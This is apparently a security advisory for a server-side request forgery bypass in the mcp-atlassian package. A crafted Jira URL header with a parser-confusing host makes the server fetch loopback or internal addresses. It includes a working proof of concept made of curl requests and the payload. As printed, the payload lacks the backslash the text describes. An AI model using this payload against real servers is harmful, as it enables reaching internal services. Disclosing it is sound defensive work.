PT-2026-105848 · Pypi · Mcp-Attlasian

Publicado

2026-10-01

·

Atualizado

2026-10-01

CVSS v4.0

8.8

Alta

VetorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Environment

  • Project: sooperset/mcp-atlassian
  • Affected function: validate url for ssrf()
  • Affected path: header-based Jira/Confluence URL authentication flow
  • Tested endpoint: POST /mcp
  • Tested version: 2.14.5

Description

The SSRF protection in validate url for ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.
Affected code:
python
parsed = urlparse(url)
hostname = parsed.hostname
...
ip error = check ip address(hostname)
...
dns error = check dns resolution(hostname)
Payload:
text
http://127.0.0.1:6666@www.baidu.com
For this input, urllib.parse.urlparse() treats the hostname as:
text
www.baidu.com
Therefore, validate url for ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:
text
http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
This allows an attacker-controlled Jira URL to target loopback or internal services.

Proof of Concept

Start a local HTTP server:
bash
python3 -m http.server 6666 --bind 127.0.0.1
Start mcp-atlassian with streamable HTTP transport on port 9000.
Initialize an MCP session with the malicious Jira URL:
bash
curl -i http://127.0.0.1:9000/mcp 
 -H 'Content-Type: application/json' 
 -H 'Accept: application/json, text/event-stream' 
 -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666@www.baidu.com' 
 -H 'X-Atlassian-Jira-Personal-Token: dummy-token' 
 --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'
Send the initialized notification using the returned Mcp-Session-Id:
bash
curl -i http://127.0.0.1:9000/mcp 
 -H 'Content-Type: application/json' 
 -H 'Accept: application/json, text/event-stream' 
 -H 'mcp-session-id: <SESSION ID>' 
 -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666@www.baidu.com' 
 -H 'X-Atlassian-Jira-Personal-Token: dummy-token' 
 --data '{"jsonrpc":"2.0","method":"notifications/initialized"}'
Trigger Jira fetcher creation and token validation:
bash
curl -i http://127.0.0.1:9000/mcp 
 -H 'Content-Type: application/json' 
 -H 'Accept: application/json, text/event-stream' 
 -H 'mcp-session-id: <SESSION ID>' 
 -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666@www.baidu.com' 
 -H 'X-Atlassian-Jira-Personal-Token: dummy-token' 
 --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira get issue","arguments":{"issue key":"TEST-1"}}}'
Observed response:
image
The local HTTP server also receives the request, confirming SSRF.
image

Root Cause

The security validation and the actual HTTP request do not use the same URL interpretation.
  • validate url for ssrf() uses urllib.parse.urlparse() and validates parsed.hostname.
  • For the payload, parsed.hostname is www.baidu.com.
  • The actual request is sent by the Atlassian client through requests.Session.
  • requests treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the request path.
This parser mismatch allows a restricted host to be hidden before @.

Impact

An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-4096

Produtos afetados

Mcp-Attlasian